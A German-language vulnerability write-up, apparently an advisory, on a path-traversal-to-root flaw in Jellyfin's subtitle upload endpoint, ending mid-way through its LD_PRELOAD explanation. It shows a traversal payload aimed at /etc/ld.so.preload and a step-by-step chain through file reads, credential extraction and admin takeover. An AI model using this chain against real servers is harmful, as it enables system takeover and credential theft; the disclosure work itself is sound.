
Kritische Path-Traversal-zu-RCE-Sicherheitslücke in Jellyfin Media Server (CVSS 9.9). Enthält Proof-of-Concept-Exploit, technische Analyse und Erkennungstools.
Eine kritische Path-Traversal-Schwachstelle im Jellyfin Media Server ermöglicht es authentifizierten Benutzern mit der Berechtigung „Untertitel hochladen“, Dateien an beliebige Speicherorte auf der Festplatte hochzuladen. Durch die Ausnutzung des nicht validierten Format-Feldes im Untertitel-Upload-Endpunkt können Angreifer Dateien an sensible Speicherorte schreiben, vertrauliche Daten extrahieren, ihre Privilegien ausweiten und letztendlich beliebigen Code als root mittels LD_PRELOAD-Injection ausführen.
| Eigenschaft | Wert |
|---|---|
| CVE-ID | CVE-2026-35031 |
| CVSS-Score | 9.9 (Kritisch) |
| CWE | CWE-22: Unzureichende Einschränkung eines Pfadnamens zu einem eingeschränkten Verzeichnis ('Path Traversal') |
| Betroffenes Produkt | Jellyfin Media Server |
| Betroffene Versionen | < 10.11.7 |
| Behobene Version | 10.11.7 und später |
| Schwachstellentyp | Path Traversal + Beliebiges Dateischreiben + RCE |
| Authentifizierung erforderlich | Ja (Nicht-Admin-Benutzer) |
| Erforderliche Berechtigungen | „Untertitel hochladen“ |
| Standardport | 8096/TCP |
| GitHub Advisory | GHSA-9p5f-5x8v-x65m |
| Patch-Status | Verfügbar und veröffentlicht |
| Exploit öffentlich | Ja |
Jellyfin ist ein freier und quelloffener Medienserver, der entwickelt wurde, um Ihnen beim Verwalten und Streamen Ihrer persönlichen Mediensammlung zu helfen. Es bietet ähnliche Funktionalitäten wie kommerzielle Medienserver, jedoch mit vollständiger Quellcode-Transparenz und Community-Kontrolle.
Jellyfin Media Server (Port 8096)
/ | \
/ | \
Web UI REST API Media Streams
(Browser) (Authenticated) (Subtitle Upload)
|
/System/Info/Public (unauthenticated)
/Videos/{itemId}/Subtitles (vulnerable)
/Library/Collections (admin)
Client Devices > Network > Jellyfin Server > Database + Storage | /var/lib/jellyfin/ /etc/ld.so.preload (writable via vulnerability)
---
## Sicherheitslücke im Detail
### Ursachenanalyse
Die Sicherheitslücke existiert im Untertitel-Upload-Endpunkt (`/Videos/{itemId}/Subtitles`), der Datei-Uploads akzeptiert und auf der Festplatte speichert. Der kritische Fehler liegt in der unzureichenden Validierung des Format-Feldparameters.
#### Verwundbares Codemuster
Der Endpunkt verarbeitet Untertitel-Uploads, ohne das Format-Feld ordnungsgemäß zu validieren oder zu bereinigen:```
POST /Videos/{itemId}/Subtitles HTTP/1.1
Content-Type: multipart/form-data
[Binary subtitle data]
Format: /../../../etc/ld.so.preload
Language: en
Der Format-Parameter soll das Untertitelformat (srt, vtt, ass usw.) angeben, wird aber stattdessen als Teil des Dateipfads behandelt:``` Base Path: /var/lib/jellyfin/subtitles/ User Input: /../../../etc/ld.so.preload Result: /var/lib/jellyfin/subtitles/../../../etc/ld.so.preload Resolved: /etc/ld.so.preload (via path traversal)
### Angriffsketten-Aufschlüsselung
Die Sicherheitslücke verknüpft mehrere Schwachstellen, um eine Remote-Code-Ausführung als Root zu erreichen:```
Step 1: Subtitle Upload with Path Traversal
POST /Videos/{itemId}/Subtitles
Format: /../../../etc/ld.so.preload
|
v
Step 2: Arbitrary File Write
Write attacker-controlled data to /etc/ld.so.preload
|
v
Step 3: File Read via .strm Files
Create .strm files pointing to sensitive paths
Extract database contents and credentials
|
v
Step 4: Database Extraction
Access /jellyfin/jellyfin.db via .strm
Extract admin user hashes
|
v
Step 5: Admin Privilege Escalation
Reset admin password or create new admin account
|
v
Step 6: RCE via LD_PRELOAD Injection
LD_PRELOAD=/path/to/malicious.so java
Arbitrary code execution as root
Input Validation Failure:
Format Field Validation: Expected: srt | vtt | ass | ssa | sub | subrip Actual: /../../../etc/ld.so.preload Result: NO VALIDATION > PATH TRAVERSAL ALLOWED
File Write Operation: String Concatenation: "/subtitles/" + user_format + ".srt" | NO CANONICALIZATION: Path component not resolved before write NO WHITELIST: Format values not restricted NO BOUNDS CHECK: ".." sequences not filtered | v Final Path: /etc/ld.so.preload (EXPLOITED)
### LD_PRELOAD-Ausnutzung
Die LD_PRELOAD-Technik ist eine leistungsstarke Methode zur Privilegieneskalation und Codeausführung auf Linux-Systemen:```
LD_PRELOAD Injection Flow:
1. Attacker writes malicious .so (shared object) to /etc/ld.so.preload
/etc/ld.so.preload contents:
/path/to/attacker.so